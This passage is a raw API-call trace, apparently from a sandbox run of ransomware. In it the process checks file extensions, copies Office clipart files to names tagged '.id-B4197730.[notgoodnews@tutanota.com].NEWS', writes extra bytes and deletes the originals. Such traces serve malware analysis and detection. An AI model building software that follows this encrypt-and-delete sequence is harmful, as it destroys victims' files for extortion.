lstrlenW (lpString=".jpg") returned 4 [0176.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.011] lstrlenW (lpString=".doc") returned 4 [0176.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString=".docx") returned 5 [0176.011] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0176.011] lstrlenW (lpString=".pdf") returned 4 [0176.011] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString=".xls") returned 4 [0176.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.011] lstrlenW (lpString=".xlsx") returned 5 [0176.011] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0176.011] lstrlenW (lpString=".ppt") returned 4 [0176.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.011] lstrlenW (lpString=".zip") returned 4 [0176.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.011] lstrlenW (lpString=".rar") returned 4 [0176.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString=".bz2") returned 4 [0176.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.011] lstrlenW (lpString=".7z") returned 3 [0176.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.012] lstrlenW (lpString=".dbf") returned 4 [0176.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.012] lstrlenW (lpString=".1cd") returned 4 [0176.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105332.WMF") returned 68 [0176.012] lstrlenW (lpString=".jpg") returned 4 [0176.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.012] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.012] lstrlenW (lpString="J0105348.WMF") returned 12 [0176.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.012] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=17060) returned 1 [0176.012] CloseHandle (hObject=0x474) returned 1 [0176.012] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 0x220 [0176.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.013] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.013] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0176.014] GetLastError () returned 0x0 [0176.014] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x42a4, lpOverlapped=0x0) returned 1 [0176.072] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x42b0, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x42b0, lpOverlapped=0x0) returned 1 [0176.073] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.073] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.073] SetEndOfFile (hFile=0x3ac) returned 1 [0176.073] CloseHandle (hObject=0x3ac) returned 1 [0176.073] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.074] SetEndOfFile (hFile=0x474) returned 1 [0176.076] CloseHandle (hObject=0x474) returned 1 [0176.077] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.077] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105348.wmf")) returned 1 [0176.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.078] lstrlenW (lpString=".doc") returned 4 [0176.078] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.078] lstrlenW (lpString=".docx") returned 5 [0176.078] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.078] lstrlenW (lpString=".pdf") returned 4 [0176.078] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.078] lstrlenW (lpString=".xls") returned 4 [0176.078] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.078] lstrlenW (lpString=".xlsx") returned 5 [0176.078] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.078] lstrlenW (lpString=".ppt") returned 4 [0176.078] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.078] lstrlenW (lpString=".zip") returned 4 [0176.078] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.078] lstrlenW (lpString=".rar") returned 4 [0176.078] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.078] lstrlenW (lpString=".bz2") returned 4 [0176.078] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString=".7z") returned 3 [0176.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString=".dbf") returned 4 [0176.079] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString=".1cd") returned 4 [0176.079] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString=".jpg") returned 4 [0176.079] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString=".doc") returned 4 [0176.079] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString=".docx") returned 5 [0176.079] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.079] lstrlenW (lpString=".pdf") returned 4 [0176.079] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString=".xls") returned 4 [0176.079] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.079] lstrlenW (lpString=".xlsx") returned 5 [0176.079] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.079] lstrlenW (lpString=".ppt") returned 4 [0176.079] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.079] lstrlenW (lpString=".zip") returned 4 [0176.079] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.079] lstrlenW (lpString=".rar") returned 4 [0176.079] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString=".bz2") returned 4 [0176.079] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.079] lstrlenW (lpString=".7z") returned 3 [0176.079] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.080] lstrlenW (lpString=".dbf") returned 4 [0176.080] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.080] lstrlenW (lpString=".1cd") returned 4 [0176.080] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.080] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105348.WMF") returned 68 [0176.080] lstrlenW (lpString=".jpg") returned 4 [0176.080] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.080] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.080] lstrlenW (lpString="J0105368.WMF") returned 12 [0176.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.080] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=12380) returned 1 [0176.081] CloseHandle (hObject=0x474) returned 1 [0176.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 0x220 [0176.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0176.081] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.081] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.081] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0176.082] GetLastError () returned 0x0 [0176.082] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x305c, lpOverlapped=0x0) returned 1 [0176.103] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x3060, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x3060, lpOverlapped=0x0) returned 1 [0176.104] ReadFile (in: hFile=0x474, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.104] WriteFile (in: hFile=0x3ac, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.104] SetEndOfFile (hFile=0x3ac) returned 1 [0176.104] CloseHandle (hObject=0x3ac) returned 1 [0176.104] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.104] SetEndOfFile (hFile=0x474) returned 1 [0176.107] CloseHandle (hObject=0x474) returned 1 [0176.107] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.296] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105368.wmf")) returned 1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".doc") returned 4 [0176.297] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString=".docx") returned 5 [0176.297] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.297] lstrlenW (lpString=".pdf") returned 4 [0176.297] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString=".xls") returned 4 [0176.297] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.297] lstrlenW (lpString=".xlsx") returned 5 [0176.297] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.297] lstrlenW (lpString=".ppt") returned 4 [0176.297] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".zip") returned 4 [0176.297] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.297] lstrlenW (lpString=".rar") returned 4 [0176.297] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString=".bz2") returned 4 [0176.297] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString=".7z") returned 3 [0176.297] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".dbf") returned 4 [0176.297] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".1cd") returned 4 [0176.297] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".jpg") returned 4 [0176.297] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.297] lstrlenW (lpString=".doc") returned 4 [0176.298] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString=".docx") returned 5 [0176.298] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0176.298] lstrlenW (lpString=".pdf") returned 4 [0176.298] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString=".xls") returned 4 [0176.298] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.298] lstrlenW (lpString=".xlsx") returned 5 [0176.298] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0176.298] lstrlenW (lpString=".ppt") returned 4 [0176.298] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.298] lstrlenW (lpString=".zip") returned 4 [0176.298] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.298] lstrlenW (lpString=".rar") returned 4 [0176.298] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString=".bz2") returned 4 [0176.298] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString=".7z") returned 3 [0176.298] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.298] lstrlenW (lpString=".dbf") returned 4 [0176.298] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.298] lstrlenW (lpString=".1cd") returned 4 [0176.298] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105368.WMF") returned 68 [0176.298] lstrlenW (lpString=".jpg") returned 4 [0176.298] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.298] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0176.298] lstrlenW (lpString="J0105384.WMF") returned 12 [0176.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0176.310] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2f9ff14 | out: lpFileSize=0x2f9ff14*=5880) returned 1 [0176.310] CloseHandle (hObject=0x450) returned 1 [0176.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 0x220 [0176.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0176.334] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c [0176.335] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.335] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0176.336] GetLastError () returned 0x0 [0176.336] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x16f8, lpOverlapped=0x0) returned 1 [0176.406] WriteFile (in: hFile=0x36c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0x1700, lpOverlapped=0x0) returned 1 [0176.407] ReadFile (in: hFile=0x51c, lpBuffer=0x3b52020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesRead=0x2f9fecc*=0x0, lpOverlapped=0x0) returned 1 [0176.407] WriteFile (in: hFile=0x36c, lpBuffer=0x3b52020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b52020*, lpNumberOfBytesWritten=0x2f9fc94*=0xec, lpOverlapped=0x0) returned 1 [0176.407] SetEndOfFile (hFile=0x36c) returned 1 [0176.407] CloseHandle (hObject=0x36c) returned 1 [0176.408] SetFilePointerEx (in: hFile=0x51c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec0 | out: lpNewFilePointer=0x0) returned 1 [0176.408] SetEndOfFile (hFile=0x51c) returned 1 [0176.410] CloseHandle (hObject=0x51c) returned 1 [0176.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0176.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105384.wmf")) returned 1 [0176.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.411] lstrlenW (lpString=".doc") returned 4 [0176.411] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0176.411] lstrlenW (lpString=".docx") returned 5 [0176.411] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0176.411] lstrlenW (lpString=".pdf") returned 4 [0176.411] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0176.411] lstrlenW (lpString=".xls") returned 4 [0176.411] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0176.411] lstrlenW (lpString=".xlsx") returned 5 [0176.411] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0176.411] lstrlenW (lpString=".ppt") returned 4 [0176.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".zip") returned 4 [0176.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0176.412] lstrlenW (lpString=".rar") returned 4 [0176.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString=".bz2") returned 4 [0176.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString=".7z") returned 3 [0176.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".dbf") returned 4 [0176.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".1cd") returned 4 [0176.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".jpg") returned 4 [0176.412] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105384.WMF") returned 68 [0176.412] lstrlenW (lpString=".doc") returned 4 [0176.412] 